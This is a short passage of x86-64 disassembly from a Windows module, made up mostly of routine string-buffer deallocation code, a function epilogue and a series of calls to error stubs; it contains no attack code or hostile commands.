mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1800239aa
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800239a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a6d
call fcn.1800d9c4c
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1800239f4
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1800239ef
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a73
mov rcx, r8
call fcn.1800d9c4c
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], send
mov byte [rbx], 0
xor eax, eax
jmp 0x180023a51
mov rdx, qword [rdx + 0x18]
cmp rdx, 0xf
jbe 0x180023a3d
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180023a38
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a73
mov rcx, r8
call fcn.1800d9c4c
mov eax, 0xbb8
mov byte [rbx], 0
mov qword [rbx + 0x18], send
mov qword [rbx + 0x10], rsi
movaps xmm6, xmmword [rsp + 0x290]
add rsp, 0x2a8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800087d0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
int3